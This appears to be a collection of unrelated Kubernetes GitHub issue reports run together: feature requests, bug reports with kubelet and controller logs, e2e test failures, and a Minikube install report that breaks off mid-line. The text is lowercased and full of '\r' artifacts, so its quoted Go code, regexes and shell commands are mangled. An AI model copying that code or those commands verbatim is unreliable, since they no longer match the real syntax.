consul  http://www.consul.io/  is a self checking service discovery and dynamic dns server which runs on all machines in our bare-metal datacenter. we use consul to provide fast and reliable dns resolving service, mainly for kubernetes pods addresses. consul also provides a simple rest k/v storage system which is very similar to etcd and we like to use it instead whole etcd cluster.  currently we use consul and etcd together, where consul k/v is used by all our services, and etcd is only used by kubernetes. this forces us to maintain two independent datacenter-wide services which provides almost exactly the same functionality without any additional benefits.  both services have very similar rest api and it shouldn't be difficult to provide support for consul.

@vishh   kubelet.go should be responsible for initializing all the modules required by the kubelet

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke/8748/  failed:  k8s.io  configmap should be consumable via environment variable  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:120 expected error:     < errors.statuserror | 0xc820d8d100>: {         errstatus: {             typemeta: {kind: \ \ , apiversion: \ \ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ the server does not allow access to the requested resource  get serviceaccounts \ ,             reason: \ forbidden\ ,             details: {                 name: \ \ ,                 group: \ \ ,                 kind: \ serviceaccounts\ ,                 causes:                       {                         type: \ unexpectedserverresponse\ ,                         message: \ forbidden: \\\ /api/v1/watch/namespaces/e2e-tests-configmap-gyvq2/serviceaccounts?fieldselector=metadata.name%3ddefault\\\ \ ,                         field: \ \ ,                     },                  ,                 retryafterseconds: 0,             },             code: 403,         },     }     the server does not allow access to the requested resource  get serviceaccounts  not to have occurred

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-aws/2656/  failed: teardown previous {e2e.go}      exit status 255

right now, we use environment variables to discover services with cluster ip. it would be good to have environment variables set up for headless services as well. this way, the pod definition does not need to change if a service consumed by the pod becomes headless.

what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : downward api node labels\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r i think the downward api should support exposing the node labels on which the pod it is running. while i understand that the pod should not be coupled too much with the node it is scheduled to. but i think there are certain scenarios that require the pod  to have more information about it's host.\r \r -    failure-zones    like rack names on premise or availability zones in cloud\r -    instance-types    for adapting thread settings per instance type\r - other labels like local ssd storage available \r \r this helps applications that are cloud-native to understand where they are located. while this could be achieved using api calls to the node object, i think it should be supported by the downward api. a node object would expose way more information that should not be available to any pod. in openshift's default configuration there is access to the node objects prevented by default.\r \r @mattbates @smarterclayton @bprashanth

is this a bug report or feature request?    choose one :\r bug\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t23:37:30z\ , goversion:\ go1.8\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ clean\ , builddate:\ 2017-03-28t16:24:30z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r \r -   os    e.g. from /etc/os-release :  ubuntu 16.04\r -   kernel    e.g.  uname -a  : linux node-105 4.4.0-72-generic  93-ubuntu smp fri mar 31 14:07:41 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r   what happened  :\r \r i am seeing these logs in  /var/log/syslog  of nodes:\r \r    \r apr 19 10:55:28 node-105 kubelet 31160 : e0419 10:55:28.336117   31160 event.go:259  could not construct reference to: '&v1.objectreference{kind:\ pod\ , namespace:\ scrm\ , name:\ app-525647683-nnph4\ , uid:\ 774fff5a-24a0-11e7-84aa-d4bed9ebd3f3\ , apiversion:\ v1\ , resourceversion:\ 2251743\ , fieldpath:\ spec.containers{app}\ }' due to: 'object does not implement the list interfaces'. will not report event: 'warning' 'unhealthy' 'readiness probe failed: get http://10.43.0.0:8080/health: dial tcp 10.43.0.0:8080: getsockopt: connection refused'\r apr 19 10:55:29 node-105 kubelet 31160 : e0419 10:55:29.336172   31160 event.go:259  could not construct reference to: '&v1.objectreference{kind:\ pod\ , namespace:\ scrm\ , name:\ app-525647683-nnph4\ , uid:\ 774fff5a-24a0-11e7-84aa-d4bed9ebd3f3\ , apiversion:\ v1\ , resourceversion:\ 2251743\ , fieldpath:\ spec.containers{app}\ }' due to: 'object does not implement the list interfaces'. will not report event: 'warning' 'unhealthy' 'readiness probe failed: get http://10.43.0.0:8080/health: dial tcp 10.43.0.0:8080: getsockopt: connection refused'\r apr 19 10:55:30 node-105 kubelet 31160 : e0419 10:55:30.336123   31160 event.go:259  could not construct reference to: '&v1.objectreference{kind:\ pod\ , namespace:\ scrm\ , name:\ app-525647683-nnph4\ , uid:\ 774fff5a-24a0-11e7-84aa-d4bed9ebd3f3\ , apiversion:\ v1\ , resourceversion:\ 2251743\ , fieldpath:\ spec.containers{app}\ }' due to: 'object does not implement the list interfaces'. will not report event: 'warning' 'unhealthy' 'readiness probe failed: get http://10.43.0.0:8080/health: dial tcp 10.43.0.0:8080: getsockopt: connection refused'\r apr 19 10:55:31 node-105 kubelet 31160 : e0419 10:55:31.336131   31160 event.go:259  could not construct reference to: '&v1.objectreference{kind:\ pod\ , namespace:\ scrm\ , name:\ app-525647683-nnph4\ , uid:\ 774fff5a-24a0-11e7-84aa-d4bed9ebd3f3\ , apiversion:\ v1\ , resourceversion:\ 2251743\ , fieldpath:\ spec.containers{app}\ }' due to: 'object does not implement the list interfaces'. will not report event: 'warning' 'unhealthy' 'readiness probe failed: get http://10.43.0.0:8080/health: dial tcp 10.43.0.0:8080: getsockopt: connection refused'\r    \r \r   what you expected to happen  :\r \r no these logs, events reported successfully. \r \r \r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r if instance comes from the zone which has chinese name，it can not be used as a kubernetes node.\r \\-----------\r \\  nova show ne-cdlqmo7wgw-0-7yzmth4qkivz-kube-minion-btgwnwp3utka | grep availability_zone\r | os-ext-az:availability_zone                                           | 中文                                                          |\r \\-----------\r kubelet's log as following:\r \\-----------\r jul 20 07:35:56 ne-cdlqmo7wgw-0-7yzmth4qkivz-kube-minion-btgwnwp3utka.novalocal kubelet 10092 : i0720 07:35:56.762145 10092 kubelet_node_status.go:283  adding node label from cloud provider: failure-domain.beta.kubernetes.io/zone=中文 \r jul 20 07:35:56 ne-cdlqmo7wgw-0-7yzmth4qkivz-kube-minion-btgwnwp3utka.novalocal kubelet 10092 : i0720 07:35:56.762202 10092 kubelet_node_status.go:287  adding node label from cloud provider: failure-domain.beta.kubernetes.io/region=regionone\r jul 20 07:35:57 ne-cdlqmo7wgw-0-7yzmth4qkivz-kube-minion-btgwnwp3utka.novalocal kubelet 10092 : i0720 07:35:57.527723 10092 kubelet_node_status.go:77  attempting to register node ne-cdlqmo7wgw-0-7yzmth4qkivz-kube-minion-btgwnwp3utka\r jul 20 07:35:57 ne-cdlqmo7wgw-0-7yzmth4qkivz-kube-minion-btgwnwp3utka.novalocal kubelet 10092 : e0720 07:35:57.530644 10092 kubelet_node_status.go:101   unable to register node \ ne-cdlqmo7wgw-0-7yzmth4qkivz-kube-minion-btgwnwp3utka\  with api server: node \ ne-cdlqmo7wgw-0-7yzmth4qkivz-kube-minion-btgwnwp3utka\  is invalid: metadata.labels: invalid value: \ 中文\ : a valid label must be an empty string or consist of alphanumeric characters, '-', '_' or '.', and must start and end with an alphanumeric character  e.g. 'myvalue', or 'my_value', or '12345', regex used for validation is '   a-za-z0-9  -a-za-z0-9_.   ? a-za-z0-9  ?'  \r jul 20 07:35:58 ne-cdlqmo7wgw-0-7yzmth4qkivz-kube-minion-btgwnwp3utka.novalocal\r \\-----------\r   what you expected to happen  :\r kubernetes node also can comes from chinese name zone.\r \r   how to reproduce it  as minimally and precisely as possible   :\r create a instance in chinese-name-zone, then start kubelet and register to kube-apiserver.\r \r   anything else we need to know?  :\r \r   environment  : \r - kubernetes version  use  kubectl version  :   v1.6.4\r - cloud provider or hardware configuration  :   openstack cloud provider\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r   what happened  :\r \r    \r $ goos=windows go test -v k8s.io/kubernetes/pkg/util/mount\r   k8s.io/kubernetes/pkg/util/mount\r pkg/util/mount/mount_windows_test.go:26: undefined: getavailabledriveletter\r fail\tk8s.io/kubernetes/pkg/util/mount  build failed \r    \r \r this bug was introduced in  51252. @andyzhangx please fix it.\r \r /cc @brendandburns\r \r   what you expected to happen  :\r should include the definition of  getavailabledriveletter   \r \r   how to reproduce it  as minimally and precisely as possible   :\r as above\r \r   anything else we need to know?  :\r \r   environment  :\r kubernetes master branch\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  i am not sure if this is a bug.\r \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a endpoint without service.\r 2. create a service with selector, and its name is the same as the existed endpoint.\r 3. the service will result in creating a new endpoint.\r 4. the old isolated endpoint has been remove or replaced. remove may be accurate \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.9\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >     kind feature  \r \r \r   what happened  :\r i want to use sqlite with azure file as a persistent volume. but when i try to do write operations i get \ database is locked\ \r \r   what you expected to happen  :\r i got the same issue using azure file with sqlite on my local vm but when i passed   nobrl   parameter while mounting it then it worked fine. docker also allows to pass nobrl paramter.\r https://github.com/docker/for-win/issues/11\r https://linux.die.net/man/8/mount.cifs\r \r   how to reproduce it  as minimally and precisely as possible   :\r try to do write operations on a sqlite file using azure file as a persistent volume.\r \r \r   environment  :\r - kubernetes version :  v1.7.9\r - cloud provider or hardware configuration: aks\r - kernel : 4.13.0-1007-azure\r - others: azure file\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   \r   what happened  :\r i register device by my deviceplugin. it works good. then i stopmy plugin, k8s mark resources unhealthy as expect. but when i restart plugin. the resource does not recover, remain allocatable  0.\r \r   what you expected to happen  :\r resource turns healthy when plugin restart.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. start k8s\r 2. start device plugin\r 3. stop device plugin\r 4. restart device plugin\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.1\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : ubuntu\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

what happened  :\r pod which references a ceph persistent volume claim, fails to start. it stays in \ containercreating\  status\r \r   what you expected to happen  :\r the pod to become \ running\  with the ceph storage attached in /mnt/rbd \r \r   how to reproduce it  as minimally and precisely as possible   :\r run through:\r http://docs.ceph.com/docs/mimic/start/kube-helm/\r the smoke test near the end, creates a pod with ceph storage attached.\r \r   anything else we need to know?  :\r i've found evidence the problem is with kubelet not ceph itself.\r to put some more flesh on the bone. the pod creation  succeeds  when the pods are scheduled to run on either of our two master servers. if its scheduled to run on a worker, this error is shown in the logs of the workers kubelet:\r    \r mountvolume.waitforattach failed for volume : fail to check rbd image status with:  exit status 1 , rbd output: the connection to the server localhost:8080 was refused - did you specify the right host or port?\r    \r if i check listening ports on the masters, sure enough, localhost:8080 is listening.  i've now prevented that from happening with the apiserver parameter --insecure-port=0, and now predictably, its doesnt matter where the pod is scheduled, the above error results.\r \r after getting the api listening on localhost:8080 again  in addition to its usual 443 , for a bit of hacky work around, i decided to try setting up an ssh tunnel between a worker and a master, so that the worker would indeed have the api available over localhost:8080. after scheduling the pod on that worker, the result was still a non running pod, but with a slightly different error:\r \r    \r 2018-11-23 14:43:57.651747500 e1123 14:43:57.651702   12892 nestedpendingoperations.go:267  operation for \ \\\ kubernetes.io/rbd/rbd:kubernetes-dynamic-pvc-c904f171-ee4e-11e8-b069-0a58ac100419\\\ \  failed. no retries permitted until 2018-11-23 14:45:59.651656311 +0000 gmt m=+5164.902266188  durationbeforeretry 2m2s . error: \ mountvolume.waitforattach failed for volume \\\ pvc-c8e57354-ee4e-11e8-bda3-caef73f3b003\\\   uniquename: \\\ kubernetes.io/rbd/rbd:kubernetes-dynamic-pvc-c904f171-ee4e-11e8-b069-0a58ac100419\\\   pod \\\ pvcpodtest\\\   uid: \\\ 5a44c761-ef2c-11e8-b6f6-caef73f3b003\\\   : fail to check rbd image status with:  exit status 1 , rbd output:  unable to connect to the server: eof\  \ \r    \r btw i did first verify the tunnel was working, by hitting http://localhost:8080 on the worker with curl.\r \r whilst it hasn't fixed the problem  the pod remains in containercreating status  it has affected the outcome, which is what makes me think the kubelet is at fault, and not ceph. i have a issue logged with ceph too: https://github.com/helm/charts/issues/9509 , mainly because grepping the kubelet logs shows that kubelet only tries to connect to localhost:8080 when a ceph volume is involved in the pod.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r   k version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r bare metal\r - os  e.g. from /etc/os-release :\r    \r   cat /etc/os-release\r pretty_name=\ debian gnu/linux 9  stretch \ \r name=\ debian gnu/linux\ \r version_id=\ 9\ \r version=\ 9  stretch \ \r id=debian\r home_url=\ https://www.debian.org/\ \r support_url=\ https://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r - kernel  e.g.  uname -a  :\r    \r linux bddcbpkbn6 4.9.0-8-amd64  1 smp debian 4.9.110-3+deb9u6  2018-10-08  x86_64 gnu/linux\r    \r - install tools:\r    \r none. guided by https://github.com/kelseyhightower/kubernetes-the-hard-way\r    \r - others:\r \r <!-- do not edit below this line -->\r 

we need to be able to parameterize the various container runtimes without having to add ever single configuration variable into our api.  to achieve this, we should add an opaque  params  object to  container  this params field will be raw json, we can then use reflection to dynamically populate the api calls to the container runtimes.  @bgrant0607 @dchen1107

can i request that we standardize on a naming convention for jobs on jenkins? i have some tooling that is scraping data from jenkins, but we have different naming conventions for jobs between branches. some jobs use the -n.n suffix and some use the -release-n.n suffix.  kubernetes-test-go kubernetes-test-go-release-1.1 kubernetes-test-go-release-1.2  kubernetes-e2e-gke-serial kubernetes-e2e-gke-serial-1.1 kubernetes-e2e-gke-serial-release-1.2  kubernetes-build kubernetes-build-1.1 kubernetes-build-1.2

would be nice to have an e2e testing mode that ran with: - no retries - crash on panic - really long/really short timeouts  whichever is worse, eg: watch should never timeout   maybe pass --fail-fast to all daemons and pipe that through kube-up?

is this a request for help?  : not necessarily, things appear to be working\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :  28962 looks similar\r \r ---\r \r   is this a bug report or feature request?    choose one :  bug report \r \r   kubernetes version    use  kubectl version  :\r \r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t07:31:07z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ clean\ , builddate:\ 2017-01-12t04:52:34z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : openstack with cinderv1 api\r -   os    e.g. from /etc/os-release : container linux by coreos 1235.6.0\r -   kernel    e.g.  uname -a  :  linux kube-master-02.openstacklocal 4.7.3-coreos-r2  1 smp sun jan 8 00:32:25 utc 2017 x86_64 intel xeon e312xx  sandy bridge  genuineintel gnu/linux \r -   install tools  : kargo\r -   others  : \r \r \r   what happened  : i was following the guide for a statefulset zookeeper install and things appear to have booted up, the pods are stable, but i see errors in the ui about  error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ default\ /\ zk-0\ . list of unattached/unmounted volumes= datadir  . this led me to check the hyperkube controller-manager's logs and i see a spewing of logs related to remounting the zk volumes:\r \r    \r i0115 21:46:51.541418       1 node_status_updater.go:135  updating status for node \ kube-node-04\  succeeded. patchbytes: \ {\\\ status\\\ :{\\\ volumesattached\\\ : {\\\ devicepath\\\ :\\\ /dev/vdb\\\ ,\\\ name\\\ :\\\ kubernetes.io/cinder/efeddaeb-ed27-4e92-9733-f46251cee3cb\\\ } }}\  volumesattached:  {kubernetes.io/cinder/efeddaeb-ed27-4e92-9733-f46251cee3cb /dev/vdb} \r i0115 21:46:55.566696       1 attacher.go:140  volumesareattached: check volume \ efeddaeb-ed27-4e92-9733-f46251cee3cb\   specname: \ pvc-dc5e1785-dafe-11e6-b025-fa163e0158f7\   is no longer attached\r i0115 21:46:55.566758       1 operation_executor.go:565  verifyvolumesareattached determined volume \ kubernetes.io/cinder/efeddaeb-ed27-4e92-9733-f46251cee3cb\   spec.name: \ pvc-dc5e1785-dafe-11e6-b025-fa163e0158f7\   is no longer attached to node %!q missing , therefore it was marked as detached.\r i0115 21:46:55.610216       1 reconciler.go:213  started attachvolume for volume \ kubernetes.io/cinder/efeddaeb-ed27-4e92-9733-f46251cee3cb\  to node \ kube-node-04\ \r i0115 21:46:56.180376       1 attacher.go:92  attach operation is successful. volume \ efeddaeb-ed27-4e92-9733-f46251cee3cb\  is already attached to node \ a1c515d3-2f79-4067-a7c7-e7cac564a60b\ .\r i0115 21:46:56.508940       1 operation_executor.go:620  attachvolume.attach succeeded for volume \ kubernetes.io/cinder/efeddaeb-ed27-4e92-9733-f46251cee3cb\   spec.name: \ pvc-dc5e1785-dafe-11e6-b025-fa163e0158f7\   from node \ kube-node-04\ .\r i0115 21:46:56.721459       1 node_status_updater.go:135  updating status for node \ kube-node-04\  succeeded. patchbytes: \ {\\\ status\\\ :{\\\ volumesattached\\\ : {\\\ devicepath\\\ :\\\ /dev/vdb\\\ ,\\\ name\\\ :\\\ kubernetes.io/cinder/efeddaeb-ed27-4e92-9733-f46251cee3cb\\\ } }}\  volumesattached:  {kubernetes.io/cinder/efeddaeb-ed27-4e92-9733-f46251cee3cb /dev/vdb} \r i0115 21:47:00.617475       1 attacher.go:140  volumesareattached: check volume \ efeddaeb-ed27-4e92-9733-f46251cee3cb\   specname: \ pvc-dc5e1785-dafe-11e6-b025-fa163e0158f7\   is no longer attached\r i0115 21:47:00.617563       1 operation_executor.go:565  verifyvolumesareattached determined volume \ kubernetes.io/cinder/efeddaeb-ed27-4e92-9733-f46251cee3cb\   spec.name: \ pvc-dc5e1785-dafe-11e6-b025-fa163e0158f7\   is no longer attached to node %!q missing , therefore it was marked as detached.\r i0115 21:47:00.835167       1 reconciler.go:213  started attachvolume for volume \ kubernetes.io/cinder/efeddaeb-ed27-4e92-9733-f46251cee3cb\  to node \ kube-node-04\ \r i0115 21:47:01.457503       1 attacher.go:92  attach operation is successful. volume \ efeddaeb-ed27-4e92-9733-f46251cee3cb\  is already attached to node \ a1c515d3-2f79-4067-a7c7-e7cac564a60b\ .\r i0115 21:47:01.743547       1 operation_executor.go:620  attachvolume.attach succeeded for volume \ kubernetes.io/cinder/efeddaeb-ed27-4e92-9733-f46251cee3cb\   spec.name: \ pvc-dc5e1785-dafe-11e6-b025-fa163e0158f7\   from node \ kube-node-04\ .\r    \r \r   what you expected to happen  : things should be quiet, the kube cluster should not be retrying the mount. although it appears to be a noop it is noisy and i fear it will add load to our openstack cluster with all the api calls.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r try the zookeeper config on an openstack cluster. in my case, i had to create my own storage class  for example, a ceph-backed storage system  and then update the yaml to go to the  ceph  storage class:\r \r  kubectl create -f http://k8s.io/docs/tutorials/stateful-application/zookeeper.yaml  on a openstack cluster.\r \r   anything else do we need to know  :\r \r

when the upgrade tests are performed, the kubelets in the upgraded cluster are bootstrapped in a different manner than those in e2e clusters.\r \r context: https://github.com/kubernetes/kubernetes/issues/47820 issuecomment-310201338\r looks like it may be related to: https://github.com/kubernetes/kubernetes/pull/40760\r \r upgraded 1.6->1.7 cluster\r    \r ramanathana@bootstrap-e2e-minion-group-93zx:~$ sudo cat /var/lib/kubelet/kubeconfig\r apiversion: v1\r clusters:\r - cluster:\r     certificate-authority: /etc/kubernetes/pki/ca-certificates.crt\r     server: https://bootstrap-e2e-master   <--- this resolves to the internal ip\r   name: default-cluster\r contexts:\r ...\r    \r \r typical 1.7 e2e cluster:\r \r    \r ramanathana@bootstrap-e2e-minion-group-93zx:~$ sudo cat /var/lib/kubelet/kubeconfig\r apiversion: v1\r clusters:\r - cluster:\r     certificate-authority: /etc/kubernetes/pki/ca-certificates.crt\r     server: https://<external-ip>\r   name: default-cluster\r contexts:\r ...\r    \r \r /assign mikedanese

  \r  scenario \r \r updatenodestatus operation requires read / write operations to the api-server, these activities are used to provide an updated vision of the node to the controller-manager.\r \r when the node manages multiple volumes, there is an additional number of request that kubelet trigger to the api manager. by default, kubelet request is under a flow control, which implements a rate limit. \r \r this rate limit block the update operation causing the controller to flip the node status and ultimately evict healthy pods.\r \r \r  expectation \r \r independent of the flow control management configuration, the node heartbeat  updatenodestatus ,  should not honour the rate request. we expect that kubelet to report the node status as fast as possible independent of the node load or status.\r \r  additional considerations \r \r a slow node update is affected by other process modifying the node status, like the node problem detector. in this case, it is normal to have conflicts in the update request.\r

what happened  :\r when following this  tutorial  https://kubernetes.io/docs/tutorials/stateful-application/mysql-wordpress-persistent-volume/ , i encountered a  provisioningfailed  error for pvc.\r \r   how to reproduce it  as minimally and precisely as possible   :\r  1  download yaml files as instructed by the tutorial\r  2  follow the tutorial until reaching  kubectl create -f mysql-deployment.yaml \r  3   kubectl describe pvc \r there will be an error running:  failed to create provisioner: provisioning in volume plugin \ kubernetes.io/host-path\  is disabled \r \r   anything else we need to know?  :\r it may due to the local cluster does not have the volume plugin enabled by default. i wish to know what is the best way to enable the volume plugin.

i was looking for examples of our exponential backoff usage, and found some suspicious code.\r \r wait.exponentialbackoff exits immediately if  err != nil || ok \r https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/apimachinery/pkg/util/wait/wait.go l203-l205\r \r    \r \t\tif ok, err := condition  ; err != nil || ok {\r \t\t\treturn err\r \t\t}\r    \r \r but in this loop, we always return  err != nil  ||  ok , so we will never retry.\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/azure/azure_blobdiskcontroller.go l469-l484\r \r    \r \t\terr = kwait.exponentialbackoff defaultbackoff, func    bool, error  {\r \t\t\t_, provisionstate, err := c.getstorageaccountstate storageaccountname \r \r \t\t\tif err != nil {\r \t\t\t\tglog.v 4 .infof \ azuredisk - getstorageaccount:%s err %s\ , storageaccountname, err.error   \r \t\t\t\treturn false, err\r \t\t\t}\r \r \t\t\tif provisionstate == storage.succeeded {\r \t\t\t\treturn true, nil\r \t\t\t}\r \r \t\t\tglog.v 4 .infof \ azuredisk - getstorageaccount:%s not ready yet\ , storageaccountname \r \t\t\t// leave it for next loop/sync loop\r \t\t\treturn false, fmt.errorf \ azuredisk - account %s has not been flagged succeeded by arm\ , storageaccountname \r \t\t} \r

 \r \r \r   what happened  :\r \r kube-proxy binds to ipv6 nodeports\r \r   what you expected to happen  :\r \r kube-proxy not doing anything ipv6-related when running with  --bind-address=0.0.0.0  arg\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. run kube-proxy with  --bind-address=0.0.0.0  arg\r 2. create a nodeport service\r 3. run  ss -6ltpn|grep kube-proxy \r \r \r   anything else we need to know?  :\r \r  kube-proxy:v1.9.0-alpha.1.2092_444a161d227565

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r \r   \r   what happened  :\r \r kubernetes forbids updating on existing pod's labels on the fly. but in my case, i want to update a pod's label so that add/remove it from service/endpoints. is it possible to only suppress the validation of pods' label field via configuration without modifying  k8s validation src code  https://github.com/kubernetes/kubernetes/blob/83e46f0a9ede14431e1ae0950e8bd8fc6a1c43e2/pkg/apis/core/validation/validation.go l3246 ?\r \r > forbidden: pod updates may not change fields other than spec.containers    .image, spec.initcontainers   .image, spec.activedeadlineseconds or spec.tolerations  only additions to existing tolerations \r \r integration of  spinnaker  https://github.com/spinnaker/spinnaker  with k8s is working by rolling updating pod's label in order to update the endpoint, so banning this modification entirely breaks its working mechanism.\r \r   what you expected to happen  :\r allow modification of existing pod labels on the fly via configuration\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r currently, equivalence class is enabled and controlled by boolean. we should enable this feature for all scheduler integration test.\r \r   what you expected to happen  :\r \r  we should use feature gate and enable it by default.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r this is needed by:  58222  56104\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r  \r   what happened  :\r \r  scheduler incorrectly considers a pod a match for inter pod anti-affinity terms if any of the terms matches  https://github.com/kubernetes/kubernetes/blob/master/pkg/scheduler/algorithm/predicates/predicates.go l1499  while it should consider a pod a match when    all   of terms match the pod  https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.10/ podantiaffinity-v1-core .\r \r 

what happened  :\r sudo -e minikube start --vm-driver=none ends with an error.\r \r    shell\r ubuntu@u1804:~$ sudo -e minikube start --vm-driver=none\r starting local kubernetes v1.10.0 cluster...\r starting vm...\r getting vm ip address...\r moving files into cluster...\r downloading kubeadm v1.10.0\r downloading kubelet v1.10.0\r finished downloading kubeadm v1.10.0\r finished downloading kubelet v1.10.0\r setting up certs...\r connecting to cluster...\r setting up kubeconfig...\r starting cluster components...\r e1026 05:34:36.554940   25621 start.go:297  error starting cluster:  timed out waiting to elevate kube-system rbac privileges: creating clusterrolebinding: post https://172.16.1.4:8443/apis/rbac.authorization.k8s.io/v1beta1/clusterrolebindings: gateway timeout\r    \r \r $home/.kube and $home/.minikube owner are not changed even if change_minikube_none_user=true.\r \r   what you expected to happen  :\r sudo -e minikube start --vm-driver=none ends successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r follow the following url:\r https://github.com/kubernetes/minikube linux-continuous-integration-without-vm-support\r which means the following procedures.\r    bash\r curl -lo minikube https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64 && chmod +x minikube && sudo cp minikube /usr/local/bin/ && rm minikube\r curl -lo kubectl https://storage.googleapis.com/kubernetes-release/release/$ curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt /bin/linux/amd64/kubectl && chmod +x kubectl && sudo cp kubectl /usr/local/bin/ && rm kubectl\r \r export minikube_wantupdatenotification=false\r export minikube_wantreporterrorprompt=false\r export minikube_home=$home\r export change_minikube_none_user=true\r mkdir -p $home/.kube\r mkdir -p $home/.minikube\r touch $home/.kube/config\r \r export kubeconfig=$home/.kube/config\r sudo -e minikube start --vm-driver=none\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    shell\r client 